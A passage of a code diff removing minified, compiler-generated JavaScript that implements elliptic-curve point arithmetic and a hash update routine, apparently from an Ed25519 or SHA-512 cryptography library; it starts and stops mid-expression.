0] = 107, s4[t7 + 49 | 0] = 189, s4[t7 + 50 | 0] = 65, s4[t7 + 51 | 0] = 251, s4[t7 + 52 | 0] = 171, s4[t7 + 53 | 0] = 217, s4[t7 + 54 | 0] = 131, s4[t7 + 55 | 0] = 31, s4[t7 + 40 | 0] = 31, s4[t7 + 41 | 0] = 108, s4[t7 + 42 | 0] = 62, s4[t7 + 43 | 0] = 43, s4[t7 + 44 | 0] = 140, s4[t7 + 45 | 0] = 104, s4[t7 + 46 | 0] = 5, s4[t7 + 47 | 0] = 155, s4[t7 + 32 | 0] = 209, s4[t7 + 33 | 0] = 130, s4[t7 + 34 | 0] = 230, s4[t7 + 35 | 0] = 173, s4[t7 + 36 | 0] = 127, s4[t7 + 37 | 0] = 82, s4[t7 + 38 | 0] = 14, s4[t7 + 39 | 0] = 81, s4[t7 + 24 | 0] = 241, s4[t7 + 25 | 0] = 54, s4[t7 + 26 | 0] = 29, s4[t7 + 27 | 0] = 95, s4[t7 + 28 | 0] = 58, s4[t7 + 29 | 0] = 245, s4[t7 + 30 | 0] = 79, s4[t7 + 31 | 0] = 165, s4[t7 + 16 | 0] = 43, s4[t7 + 17 | 0] = 248, s4[t7 + 18 | 0] = 148, s4[t7 + 19 | 0] = 254, s4[t7 + 20 | 0] = 114, s4[t7 + 21 | 0] = 243, s4[t7 + 22 | 0] = 110, s4[t7 + 23 | 0] = 60, s4[t7 + 8 | 0] = 59, s4[t7 + 9 | 0] = 167, s4[t7 + 10 | 0] = 202, s4[t7 + 11 | 0] = 132, s4[t7 + 12 | 0] = 133, s4[t7 + 13 | 0] = 174, s4[t7 + 14 | 0] = 103, s4[t7 + 15 | 0] = 187, e6 ^= -222443256, s4[0 | t7] = e6, s4[t7 + 1 | 0] = e6 >>> 8, s4[t7 + 2 | 0] = e6 >>> 16, s4[t7 + 3 | 0] = e6 >>> 24, s4[t7 + 4 | 0] = 103, s4[t7 + 5 | 0] = 230, s4[t7 + 6 | 0] = 9, s4[t7 + 7 | 0] = 106), A8 = 0), 0 | A8; - } - function P4(t7, e6, r11) { - var n9, A8, i4, o5, s5, c5, h5, g5, u5, l5, f5, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0; - p5 = a4[e6 + 40 >> 2], d5 = a4[e6 + 4 >> 2], y5 = a4[e6 + 44 >> 2], C5 = a4[e6 + 8 >> 2], m5 = a4[e6 + 48 >> 2], B5 = a4[e6 + 12 >> 2], E5 = a4[e6 + 52 >> 2], w5 = a4[e6 + 16 >> 2], _5 = a4[e6 + 56 >> 2], Q5 = a4[e6 + 20 >> 2], b5 = a4[e6 + 60 >> 2], k5 = a4[e6 + 24 >> 2], D5 = a4[(I5 = e6 - -64 | 0) >> 2], S5 = a4[e6 + 28 >> 2], N6 = a4[e6 + 68 >> 2], M5 = a4[e6 + 32 >> 2], x5 = a4[e6 + 72 >> 2], F5 = a4[e6 >> 2], a4[t7 + 36 >> 2] = a4[e6 + 36 >> 2] + a4[e6 + 76 >> 2], a4[t7 + 32 >> 2] = M5 + x5, a4[t7 + 28 >> 2] = S5 + N6, a4[t7 + 24 >> 2] = k5 + D5, a4[t7 + 20 >> 2] = Q5 + b5, a4[t7 + 16 >> 2] = w5 + _5, a4[t7 + 12 >> 2] = B5 + E5, a4[t7 + 8 >> 2] = C5 + m5, a4[t7 + 4 >> 2] = d5 + y5, a4[t7 >> 2] = p5 + F5, y5 = a4[e6 + 40 >> 2], p5 = a4[e6 + 4 >> 2], C5 = a4[e6 + 44 >> 2], m5 = a4[e6 + 8 >> 2], B5 = a4[e6 + 48 >> 2], E5 = a4[e6 + 12 >> 2], w5 = a4[e6 + 52 >> 2], _5 = a4[e6 + 16 >> 2], Q5 = a4[e6 + 56 >> 2], b5 = a4[e6 + 20 >> 2], k5 = a4[e6 + 60 >> 2], D5 = a4[e6 + 24 >> 2], I5 = a4[I5 >> 2], d5 = a4[e6 + 28 >> 2], S5 = a4[e6 + 68 >> 2], N6 = a4[e6 + 32 >> 2], M5 = a4[e6 + 72 >> 2], x5 = a4[e6 >> 2], a4[t7 + 76 >> 2] = a4[e6 + 76 >> 2] - a4[e6 + 36 >> 2], a4[t7 + 72 >> 2] = M5 - N6, a4[t7 + 68 >> 2] = S5 - d5, a4[(d5 = t7 - -64 | 0) >> 2] = I5 - D5, a4[t7 + 60 >> 2] = k5 - b5, a4[t7 + 56 >> 2] = Q5 - _5, a4[t7 + 52 >> 2] = w5 - E5, a4[t7 + 48 >> 2] = B5 - m5, a4[t7 + 44 >> 2] = C5 - p5, a4[(p5 = t7 + 40 | 0) >> 2] = y5 - x5, v4(t7 + 80 | 0, t7, r11), v4(p5, p5, r11 + 40 | 0), v4(t7 + 120 | 0, r11 + 120 | 0, e6 + 120 | 0), v4(t7, e6 + 80 | 0, r11 + 80 | 0), F5 = a4[t7 + 4 >> 2], i4 = a4[t7 + 8 >> 2], o5 = a4[t7 + 12 >> 2], s5 = a4[t7 + 16 >> 2], c5 = a4[t7 + 20 >> 2], h5 = a4[t7 + 24 >> 2], g5 = a4[t7 + 28 >> 2], u5 = a4[t7 + 32 >> 2], l5 = a4[t7 + 36 >> 2], e6 = a4[p5 >> 2], r11 = a4[t7 + 80 >> 2], y5 = a4[t7 + 44 >> 2], C5 = a4[t7 + 84 >> 2], m5 = a4[t7 + 48 >> 2], B5 = a4[t7 + 88 >> 2], E5 = a4[t7 + 52 >> 2], w5 = a4[t7 + 92 >> 2], _5 = a4[t7 + 56 >> 2], Q5 = a4[t7 + 96 >> 2], b5 = a4[t7 + 60 >> 2], k5 = a4[t7 + 100 >> 2], I5 = a4[d5 >> 2], D5 = a4[t7 + 104 >> 2], S5 = a4[t7 + 68 >> 2], N6 = a4[t7 + 108 >> 2], M5 = a4[t7 + 72 >> 2], x5 = a4[t7 + 112 >> 2], f5 = a4[t7 >> 2], n9 = a4[t7 + 76 >> 2], A8 = a4[t7 + 116 >> 2], a4[t7 + 76 >> 2] = n9 + A8, a4[t7 + 72 >> 2] = M5 + x5, a4[t7 + 68 >> 2] = S5 + N6, a4[d5 >> 2] = I5 + D5, a4[t7 + 60 >> 2] = b5 + k5, a4[t7 + 56 >> 2] = _5 + Q5, a4[t7 + 52 >> 2] = E5 + w5, a4[t7 + 48 >> 2] = m5 + B5, a4[t7 + 44 >> 2] = y5 + C5, a4[p5 >> 2] = e6 + r11, a4[t7 + 36 >> 2] = A8 - n9, a4[t7 + 32 >> 2] = x5 - M5, a4[t7 + 28 >> 2] = N6 - S5, a4[t7 + 24 >> 2] = D5 - I5, a4[t7 + 20 >> 2] = k5 - b5, a4[t7 + 16 >> 2] = Q5 - _5, a4[t7 + 12 >> 2] = w5 - E5, a4[t7 + 8 >> 2] = B5 - m5, a4[t7 + 4 >> 2] = C5 - y5, a4[t7 >> 2] = r11 - e6, e6 = l5 << 1, r11 = a4[t7 + 156 >> 2], a4[t7 + 156 >> 2] = e6 - r11, p5 = u5 << 1, d5 = a4[t7 + 152 >> 2], a4[t7 + 152 >> 2] = p5 - d5, y5 = g5 << 1, C5 = a4[t7 + 148 >> 2], a4[t7 + 148 >> 2] = y5 - C5, m5 = h5 << 1, B5 = a4[t7 + 144 >> 2], a4[t7 + 144 >> 2] = m5 - B5, E5 = c5 << 1, w5 = a4[t7 + 140 >> 2], a4[t7 + 140 >> 2] = E5 - w5, _5 = s5 << 1, Q5 = a4[t7 + 136 >> 2], a4[t7 + 136 >> 2] = _5 - Q5, b5 = o5 << 1, k5 = a4[t7 + 132 >> 2], a4[t7 + 132 >> 2] = b5 - k5, I5 = i4 << 1, D5 = a4[t7 + 128 >> 2], a4[t7 + 128 >> 2] = I5 - D5, S5 = F5 << 1, N6 = a4[t7 + 124 >> 2], a4[t7 + 124 >> 2] = S5 - N6, M5 = f5 << 1, x5 = a4[t7 + 120 >> 2], a4[t7 + 120 >> 2] = M5 - x5, a4[t7 + 112 >> 2] = p5 + d5, a4[t7 + 108 >> 2] = y5 + C5, a4[t7 + 104 >> 2] = m5 + B5, a4[t7 + 100 >> 2] = E5 + w5, a4[t7 + 96 >> 2] = _5 + Q5, a4[t7 + 92 >> 2] = b5 + k5, a4[t7 + 88 >> 2] = I5 + D5, a4[t7 + 84 >> 2] = S5 + N6, a4[t7 + 80 >> 2] = M5 + x5, a4[t7 + 116 >> 2] = e6 + r11; - } - function T2(t7, e6, r11) { - var n9, A8, i4, o5, s5, c5, h5, g5, u5, l5, f5, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0; - p5 = a4[e6 + 40 >> 2], d5 = a4[e6 + 4 >> 2], y5 = a4[e6 + 44 >> 2], C5 = a4[e6 + 8 >> 2], m5 = a4[e6 + 48 >> 2], B5 = a4[e6 + 12 >> 2], E5 = a4[e6 + 52 >> 2], w5 = a4[e6 + 16 >> 2], _5 = a4[e6 + 56 >> 2], Q5 = a4[e6 + 20 >> 2], b5 = a4[e6 + 60 >> 2], k5 = a4[e6 + 24 >> 2], D5 = a4[(I5 = e6 - -64 | 0) >> 2], S5 = a4[e6 + 28 >> 2], N6 = a4[e6 + 68 >> 2], M5 = a4[e6 + 32 >> 2], x5 = a4[e6 + 72 >> 2], F5 = a4[e6 >> 2], a4[t7 + 36 >> 2] = a4[e6 + 36 >> 2] + a4[e6 + 76 >> 2], a4[t7 + 32 >> 2] = M5 + x5, a4[t7 + 28 >> 2] = S5 + N6, a4[t7 + 24 >> 2] = k5 + D5, a4[t7 + 20 >> 2] = Q5 + b5, a4[t7 + 16 >> 2] = w5 + _5, a4[t7 + 12 >> 2] = B5 + E5, a4[t7 + 8 >> 2] = C5 + m5, a4[t7 + 4 >> 2] = d5 + y5, a4[t7 >> 2] = p5 + F5, y5 = a4[e6 + 40 >> 2], p5 = a4[e6 + 4 >> 2], C5 = a4[e6 + 44 >> 2], m5 = a4[e6 + 8 >> 2], B5 = a4[e6 + 48 >> 2], E5 = a4[e6 + 12 >> 2], w5 = a4[e6 + 52 >> 2], _5 = a4[e6 + 16 >> 2], Q5 = a4[e6 + 56 >> 2], b5 = a4[e6 + 20 >> 2], k5 = a4[e6 + 60 >> 2], D5 = a4[e6 + 24 >> 2], I5 = a4[I5 >> 2], d5 = a4[e6 + 28 >> 2], S5 = a4[e6 + 68 >> 2], N6 = a4[e6 + 32 >> 2], M5 = a4[e6 + 72 >> 2], x5 = a4[e6 >> 2], a4[t7 + 76 >> 2] = a4[e6 + 76 >> 2] - a4[e6 + 36 >> 2], a4[t7 + 72 >> 2] = M5 - N6, a4[t7 + 68 >> 2] = S5 - d5, a4[(d5 = t7 - -64 | 0) >> 2] = I5 - D5, a4[t7 + 60 >> 2] = k5 - b5, a4[t7 + 56 >> 2] = Q5 - _5, a4[t7 + 52 >> 2] = w5 - E5, a4[t7 + 48 >> 2] = B5 - m5, a4[t7 + 44 >> 2] = C5 - p5, a4[(p5 = t7 + 40 | 0) >> 2] = y5 - x5, v4(t7 + 80 | 0, t7, r11 + 40 | 0), v4(p5, p5, r11), v4(t7 + 120 | 0, r11 + 120 | 0, e6 + 120 | 0), v4(t7, e6 + 80 | 0, r11 + 80 | 0), F5 = a4[t7 + 4 >> 2], i4 = a4[t7 + 8 >> 2], o5 = a4[t7 + 12 >> 2], s5 = a4[t7 + 16 >> 2], c5 = a4[t7 + 20 >> 2], h5 = a4[t7 + 24 >> 2], g5 = a4[t7 + 28 >> 2], u5 = a4[t7 + 32 >> 2], l5 = a4[t7 + 36 >> 2], e6 = a4[p5 >> 2], r11 = a4[t7 + 80 >> 2], y5 = a4[t7 + 44 >> 2], C5 = a4[t7 + 84 >> 2], m5 = a4[t7 + 48 >> 2], B5 = a4[t7 + 88 >> 2], E5 = a4[t7 + 52 >> 2], w5 = a4[t7 + 92 >> 2], _5 = a4[t7 + 56 >> 2], Q5 = a4[t7 + 96 >> 2], b5 = a4[t7 + 60 >> 2], k5 = a4[t7 + 100 >> 2], I5 = a4[d5 >> 2], D5 = a4[t7 + 104 >> 2], S5 = a4[t7 + 68 >> 2], N6 = a4[t7 + 108 >> 2], M5 = a4[t7 + 72 >> 2], x5 = a4[t7 + 112 >> 2], f5 = a4[t7 >> 2], n9 = a4[t7 + 76 >> 2], A8 = a4[t7 + 116 >> 2], a4[t7 + 76 >> 2] = n9 + A8, a4[t7 + 72 >> 2] = M5 + x5, a4[t7 + 68 >> 2] = S5 + N6, a4[d5 >> 2] = I5 + D5, a4[t7 + 60 >> 2] = b5 + k5, a4[t7 + 56 >> 2] = _5 + Q5, a4[t7 + 52 >> 2] = E5 + w5, a4[t7 + 48 >> 2] = m5 + B5, a4[t7 + 44 >> 2] = y5 + C5, a4[p5 >> 2] = e6 + r11, a4[t7 + 36 >> 2] = A8 - n9, a4[t7 + 32 >> 2] = x5 - M5, a4[t7 + 28 >> 2] = N6 - S5, a4[t7 + 24 >> 2] = D5 - I5, a4[t7 + 20 >> 2] = k5 - b5, a4[t7 + 16 >> 2] = Q5 - _5, a4[t7 + 12 >> 2] = w5 - E5, a4[t7 + 8 >> 2] = B5 - m5, a4[t7 + 4 >> 2] = C5 - y5, a4[t7 >> 2] = r11 - e6, e6 = a4[t7 + 156 >> 2], r11 = l5 << 1, a4[t7 + 156 >> 2] = e6 + r11, p5 = a4[t7 + 152 >> 2], d5 = u5 << 1, a4[t7 + 152 >> 2] = p5 + d5, y5 = a4[t7 + 148 >> 2], C5 = g5 << 1, a4[t7 + 148 >> 2] = y5 + C5, m5 = a4[t7 + 144 >> 2], B5 = h5 << 1, a4[t7 + 144 >> 2] = m5 + B5, E5 = a4[t7 + 140 >> 2], w5 = c5 << 1, a4[t7 + 140 >> 2] = E5 + w5, _5 = a4[t7 + 136 >> 2], Q5 = s5 << 1, a4[t7 + 136 >> 2] = _5 + Q5, b5 = a4[t7 + 132 >> 2], k5 = o5 << 1, a4[t7 + 132 >> 2] = b5 + k5, I5 = a4[t7 + 128 >> 2], D5 = i4 << 1, a4[t7 + 128 >> 2] = I5 + D5, S5 = a4[t7 + 124 >> 2], N6 = F5 << 1, a4[t7 + 124 >> 2] = S5 + N6, M5 = a4[t7 + 120 >> 2], x5 = f5 << 1, a4[t7 + 120 >> 2] = M5 + x5, a4[t7 + 112 >> 2] = d5 - p5, a4[t7 + 108 >> 2] = C5 - y5, a4[t7 + 104 >> 2] = B5 - m5, a4[t7 + 100 >> 2] = w5 - E5, a4[t7 + 96 >> 2] = Q5 - _5, a4[t7 + 92 >> 2] = k5 - b5, a4[t7 + 88 >> 2] = D5 - I5, a4[t7 + 84 >> 2] = N6 - S5, a4[t7 + 80 >> 2] = x5 - M5, a4[t7 + 116 >> 2] = r11 - e6; - } - function R4(t7, e6, r11) { - var n9, A8, i4, o5, s5, c5, h5, g5, u5, l5, f5, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0; - p5 = a4[e6 + 40 >> 2], d5 = a4[e6 + 4 >> 2], y5 = a4[e6 + 44 >> 2], C5 = a4[e6 + 8 >> 2], m5 = a4[e6 + 48 >> 2], B5 = a4[e6 + 12 >> 2], E5 = a4[e6 + 52 >> 2], w5 = a4[e6 + 16 >> 2], _5 = a4[e6 + 56 >> 2], Q5 = a4[e6 + 20 >> 2], b5 = a4[e6 + 60 >> 2], k5 = a4[e6 + 24 >> 2], D5 = a4[(I5 = e6 - -64 | 0) >> 2], S5 = a4[e6 + 28 >> 2], N6 = a4[e6 + 68 >> 2], M5 = a4[e6 + 32 >> 2], x5 = a4[e6 + 72 >> 2], F5 = a4[e6 >> 2], a4[t7 + 36 >> 2] = a4[e6 + 36 >> 2] + a4[e6 + 76 >> 2], a4[t7 + 32 >> 2] = M5 + x5, a4[t7 + 28 >> 2] = S5 + N6, a4[t7 + 24 >> 2] = k5 + D5, a4[t7 + 20 >> 2] = Q5 + b5, a4[t7 + 16 >> 2] = w5 + _5, a4[t7 + 12 >> 2] = B5 + E5, a4[t7 + 8 >> 2] = C5 + m5, a4[t7 + 4 >> 2] = d5 + y5, a4[t7 >> 2] = p5 + F5, y5 = a4[e6 + 40 >> 2], p5 = a4[e6 + 4 >> 2], C5 = a4[e6 + 44 >> 2], m5 = a4[e6 + 8 >> 2], B5 = a4[e6 + 48 >> 2], E5 = a4[e6 + 12 >> 2], w5 = a4[e6 + 52 >> 2], _5 = a4[e6 + 16 >> 2], Q5 = a4[e6 + 56 >> 2], b5 = a4[e6 + 20 >> 2], k5 = a4[e6 + 60 >> 2], D5 = a4[e6 + 24 >> 2], I5 = a4[I5 >> 2], d5 = a4[e6 + 28 >> 2], S5 = a4[e6 + 68 >> 2], N6 = a4[e6 + 32 >> 2], M5 = a4[e6 + 72 >> 2], x5 = a4[e6 >> 2], a4[t7 + 76 >> 2] = a4[e6 + 76 >> 2] - a4[e6 + 36 >> 2], a4[t7 + 72 >> 2] = M5 - N6, a4[t7 + 68 >> 2] = S5 - d5, a4[(d5 = t7 - -64 | 0) >> 2] = I5 - D5, a4[t7 + 60 >> 2] = k5 - b5, a4[t7 + 56 >> 2] = Q5 - _5, a4[t7 + 52 >> 2] = w5 - E5, a4[t7 + 48 >> 2] = B5 - m5, a4[t7 + 44 >> 2] = C5 - p5, a4[(p5 = t7 + 40 | 0) >> 2] = y5 - x5, v4(t7 + 80 | 0, t7, r11), v4(p5, p5, r11 + 40 | 0), v4(t7 + 120 | 0, r11 + 80 | 0, e6 + 120 | 0), F5 = a4[e6 + 80 >> 2], i4 = a4[e6 + 84 >> 2], o5 = a4[e6 + 88 >> 2], s5 = a4[e6 + 92 >> 2], c5 = a4[e6 + 96 >> 2], h5 = a4[e6 + 100 >> 2], g5 = a4[e6 + 104 >> 2], u5 = a4[e6 + 108 >> 2], l5 = a4[e6 + 112 >> 2], f5 = a4[e6 + 116 >> 2], e6 = a4[p5 >> 2], r11 = a4[t7 + 80 >> 2], y5 = a4[t7 + 44 >> 2], C5 = a4[t7 + 84 >> 2], m5 = a4[t7 + 48 >> 2], B5 = a4[t7 + 88 >> 2], E5 = a4[t7 + 52 >> 2], w5 = a4[t7 + 92 >> 2], _5 = a4[t7 + 56 >> 2], Q5 = a4[t7 + 96 >> 2], b5 = a4[t7 + 60 >> 2], k5 = a4[t7 + 100 >> 2], I5 = a4[d5 >> 2], D5 = a4[t7 + 104 >> 2], S5 = a4[t7 + 68 >> 2], N6 = a4[t7 + 108 >> 2], M5 = a4[t7 + 72 >> 2], x5 = a4[t7 + 112 >> 2], n9 = a4[t7 + 76 >> 2], A8 = a4[t7 + 116 >> 2], a4[t7 + 76 >> 2] = n9 + A8, a4[t7 + 72 >> 2] = M5 + x5, a4[t7 + 68 >> 2] = S5 + N6, a4[d5 >> 2] = I5 + D5, a4[t7 + 60 >> 2] = b5 + k5, a4[t7 + 56 >> 2] = _5 + Q5, a4[t7 + 52 >> 2] = E5 + w5, a4[t7 + 48 >> 2] = m5 + B5, a4[t7 + 44 >> 2] = y5 + C5, a4[p5 >> 2] = e6 + r11, a4[t7 + 36 >> 2] = A8 - n9, a4[t7 + 32 >> 2] = x5 - M5, a4[t7 + 28 >> 2] = N6 - S5, a4[t7 + 24 >> 2] = D5 - I5, a4[t7 + 20 >> 2] = k5 - b5, a4[t7 + 16 >> 2] = Q5 - _5, a4[t7 + 12 >> 2] = w5 - E5, a4[t7 + 8 >> 2] = B5 - m5, a4[t7 + 4 >> 2] = C5 - y5, a4[t7 >> 2] = r11 - e6, e6 = f5 << 1, r11 = a4[t7 + 156 >> 2], a4[t7 + 156 >> 2] = e6 - r11, p5 = l5 << 1, d5 = a4[t7 + 152 >> 2], a4[t7 + 152 >> 2] = p5 - d5, y5 = u5 << 1, C5 = a4[t7 + 148 >> 2], a4[t7 + 148 >> 2] = y5 - C5, m5 = g5 << 1, B5 = a4[t7 + 144 >> 2], a4[t7 + 144 >> 2] = m5 - B5, E5 = h5 << 1, w5 = a4[t7 + 140 >> 2], a4[t7 + 140 >> 2] = E5 - w5, _5 = c5 << 1, Q5 = a4[t7 + 136 >> 2], a4[t7 + 136 >> 2] = _5 - Q5, b5 = s5 << 1, k5 = a4[t7 + 132 >> 2], a4[t7 + 132 >> 2] = b5 - k5, I5 = o5 << 1, D5 = a4[t7 + 128 >> 2], a4[t7 + 128 >> 2] = I5 - D5, S5 = i4 << 1, N6 = a4[t7 + 124 >> 2], a4[t7 + 124 >> 2] = S5 - N6, M5 = F5 << 1, x5 = a4[t7 + 120 >> 2], a4[t7 + 120 >> 2] = M5 - x5, a4[t7 + 112 >> 2] = p5 + d5, a4[t7 + 108 >> 2] = y5 + C5, a4[t7 + 104 >> 2] = m5 + B5, a4[t7 + 100 >> 2] = E5 + w5, a4[t7 + 96 >> 2] = _5 + Q5, a4[t7 + 92 >> 2] = b5 + k5, a4[t7 + 88 >> 2] = I5 + D5, a4[t7 + 84 >> 2] = S5 + N6, a4[t7 + 80 >> 2] = M5 + x5, a4[t7 + 116 >> 2] = e6 + r11; - } - function U4(t7, e6) { - var r11, n9, A8, i4, o5, s5, h5, g5, u5, l5, f5, p5, d5, I5, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0; - d5 = c4[e6 + 31 | 0], r11 = c4[e6 + 30 | 0], n9 = c4[e6 + 29 | 0], A8 = c4[e6 + 6 | 0], i4 = c4[e6 + 5 | 0], o5 = c4[e6 + 4 | 0], s5 = c4[e6 + 9 | 0], h5 = c4[e6 + 8 | 0], g5 = c4[e6 + 7 | 0], u5 = c4[e6 + 12 | 0], D5 = c4[e6 + 11 | 0], S5 = c4[e6 + 10 | 0], l5 = c4[e6 + 15 | 0], N6 = c4[e6 + 14 | 0], f5 = c4[e6 + 13 | 0], _5 = c4[e6 + 28 | 0], k5 = c4[e6 + 27 | 0], Q5 = c4[e6 + 26 | 0], v5 = c4[e6 + 25 | 0], E5 = c4[e6 + 24 | 0], B5 = c4[e6 + 23 | 0], I5 = c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24, w5 = (m5 = c4[e6 + 21 | 0]) << 15, m5 = C5 = m5 >>> 17 | 0, b5 = w5, b5 |= (w5 = c4[e6 + 20 | 0]) << 7, w5 = (C5 = w5 >>> 25 | 0) | m5, m5 = (C5 = c4[e6 + 22 | 0]) >>> 9 | 0, C5 = C5 << 23 | b5, m5 |= w5, p5 = c4[e6 + 16 | 0] | c4[e6 + 17 | 0] << 8 | c4[e6 + 18 | 0] << 16 | c4[e6 + 19 | 0] << 24, e6 = 0, w5 = C5, C5 = (33554431 & (e6 = (b5 = p5 + 16777216 | 0) >>> 0 < 16777216 ? 1 : e6)) << 7 | b5 >>> 25, e6 = (e6 >>> 25 | 0) + m5 | 0, C5 = (m5 = w5 = w5 + C5 | 0) >>> 0 < C5 >>> 0 ? e6 + 1 | 0 : e6, e6 = (w5 = m5 + 33554432 | 0) >>> 0 < 33554432 ? C5 + 1 | 0 : C5, a4[t7 + 24 >> 2] = m5 - (-67108864 & w5), C5 = (m5 = B5 >>> 27 | 0) | E5 >>> 19 | v5 >>> 11, m5 = B5 = (E5 = v5 << 21 | (B5 = E5 << 13 | B5 << 5)) + (m5 = (67108863 & (m5 = e6)) << 6 | w5 >>> 26) | 0, e6 = C5, C5 = (B5 = E5 + 16777216 | 0) >>> 0 < 16777216 ? e6 + 1 | 0 : e6, a4[t7 + 28 >> 2] = m5 - (1040187392 & B5), m5 = (C5 = (e6 = C5) >>> 25 | 0) + (m5 = k5 >>> 20 | Q5 >>> 28 | _5 >>> 12) | 0, e6 = m5 = (C5 = B5 = (e6 = (33554431 & e6) << 7 | B5 >>> 25) + (k5 << 12 | Q5 << 4 | _5 << 20) | 0) >>> 0 < e6 >>> 0 ? m5 + 1 | 0 : m5, B5 = (_5 = C5 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6, a4[t7 + 32 >> 2] = C5 - (-67108864 & _5), m5 = u5 >>> 13 | (C5 = D5 >>> 21 | S5 >>> 29), e6 = (m5 = (k5 = 16777216 + (D5 = D5 << 11 | S5 << 3 | u5 << 19) | 0) >>> 0 < 16777216 ? m5 + 1 | 0 : m5) >>> 25 | 0, m5 = (C5 = E5 = N6 << 10 | f5 << 2 | l5 << 18) + (E5 = (33554431 & m5) << 7 | k5 >>> 25) | 0, C5 = e6 + (v5 = N6 >>> 22 | f5 >>> 30 | l5 >>> 14) | 0, e6 = C5 = m5 >>> 0 < E5 >>> 0 ? C5 + 1 | 0 : C5, E5 = ((67108863 & (e6 = (E5 = m5 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6)) << 6 | (C5 = E5) >>> 26) + (Q5 = p5 - (-33554432 & b5) | 0) | 0, a4[t7 + 20 >> 2] = E5, a4[t7 + 16 >> 2] = m5 - (-67108864 & C5), C5 = i4 >>> 18 | o5 >>> 26 | A8 >>> 10, m5 = (C5 = (Q5 = 16777216 + (S5 = i4 << 14 | o5 << 6 | A8 << 22) | 0) >>> 0 < 16777216 ? C5 + 1 | 0 : C5) >>> 25 | 0, C5 = (e6 = E5 = h5 << 13 | g5 << 5 | s5 << 21) + (E5 = (33554431 & C5) << 7 | Q5 >>> 25) | 0, e6 = m5 + (v5 = h5 >>> 19 | g5 >>> 27 | s5 >>> 11) | 0, e6 = C5 >>> 0 < E5 >>> 0 ? e6 + 1 | 0 : e6, m5 = (v5 = C5 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6, a4[t7 + 8 >> 2] = C5 - (-67108864 & v5), _5 = (B5 = (67108863 & B5) << 6 | _5 >>> 26) + (N6 = d5 << 18 & 33292288 | r11 << 10 | n9 << 2) | 0, e6 = C5 = r11 >>> 22 | n9 >>> 30, C5 = (B5 = N6 + 16777216 | 0) >>> 0 < 16777216 ? e6 + 1 | 0 : e6, a4[t7 + 36 >> 2] = _5 - (33554432 & B5), m5 = D5 + ((67108863 & m5) << 6 | v5 >>> 26) | 0, a4[t7 + 12 >> 2] = m5 - (234881024 & k5), E5 = S5 - (2113929216 & Q5) | 0, m5 = Bt2((33554431 & (e6 = C5)) << 7 | B5 >>> 25, C5 = e6 >>> 25 | 0, 19, 0), e6 = y4, m5 = (C5 = m5 + I5 | 0) >>> 0 < m5 >>> 0 ? e6 + 1 | 0 : e6, B5 = ((67108863 & (m5 = (e6 = C5 + 33554432 | 0) >>> 0 < 33554432 ? m5 + 1 | 0 : m5)) << 6 | e6 >>> 26) + E5 | 0, a4[t7 + 4 >> 2] = B5, a4[t7 >> 2] = C5 - (-67108864 & e6); - } - function G4(t7, e6, r11, n9) { - var A8, i4 = 0, o5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, y5 = 0, C5 = 0, m5 = 0; - if (I4 = A8 = I4 - 704 | 0, r11 | n9) - if (i4 = (n9 << 3 | r11 >>> 29) + (o5 = h5 = a4[t7 + 76 >> 2]) | 0, u5 = (l5 = a4[t7 + 72 >> 2]) + (g5 = r11 << 3) | 0, a4[t7 + 72 >> 2] = u5, i4 = g5 >>> 0 > u5 >>> 0 ? i4 + 1 | 0 : i4, a4[t7 + 76 >> 2] = i4, h5 = a4[4 + (g5 = t7 - -64 | 0) >> 2], h5 = (f5 = i4 = (0 | i4) == (0 | o5) & u5 >>> 0 < l5 >>> 0 | i4 >>> 0 < o5 >>> 0) >>> 0 > (i4 = i4 + a4[g5 >> 2] | 0) >>> 0 ? h5 + 1 | 0 : h5, u5 = (f5 = n9 >>> 29 | 0) + i4 | 0, i4 = h5, a4[g5 >> 2] = u5, a4[g5 + 4 >> 2] = u5 >>> 0 < f5 >>> 0 ? i4 + 1 | 0 : i4, (0 | n9) == (0 | (h5 = f5 = 0 - ((i4 = 0) + ((g5 = 127 & ((7 & o5) << 29 | l5 >>> 3)) >>> 0 > 128) | 0) | 0)) & r11 >>> 0 >= (u5 = 128 - g5 | 0) >>> 0 | n9 >>> 0 > h5 >>> 0) { - if (o5 = 0, h5 = 0, !i4 & (127 ^ g5) >>> 0 >= 3 | i4) - for (m5 = 252 & u5, l5 = t7 + 80 | 0; s4[(i4 = o5 + g5 | 0) + l5 | 0] = c4[e6 + o5 | 0], s4[l5 + (g5 + (i4 = 1 | o5) | 0) | 0] = c4[e6 + i4 | 0], s4[l5 + (g5 + (i4 = 2 | o5) | 0) | 0] = c4[e6 + i4 | 0], s4[l5 + (g5 + (i4 = 3 | o5) | 0) | 0] = c4[e6 + i4 | 0], i4 = h5, h5 = (o5 = o5 + 4 | 0) >>> 0 < 4 ? i4 + 1 | 0 : i4, i4 = d5, d5 = i4 = (y5 = y5 + 4 | 0) >>> 0 < 4 ? i4 + 1 | 0 : i4, (0 | y5) != (0 | m5) | (0 | C5) != (0 | i4); ) - ; - if (l5 = i4 = 0, i4 | (d5 = 3 & u5)) - for (; s4[80 + (t7 + (i4 = o5 + g5 | 0) | 0) | 0] = c4[e6 + o5 | 0], i4 = h5, h5 = (o5 = o5 + 1 | 0) ? i4 : i4 + 1 | 0, i4 = C5, C5 = i4 = (p5 = p5 + 1 | 0) ? i4 : i4 + 1 | 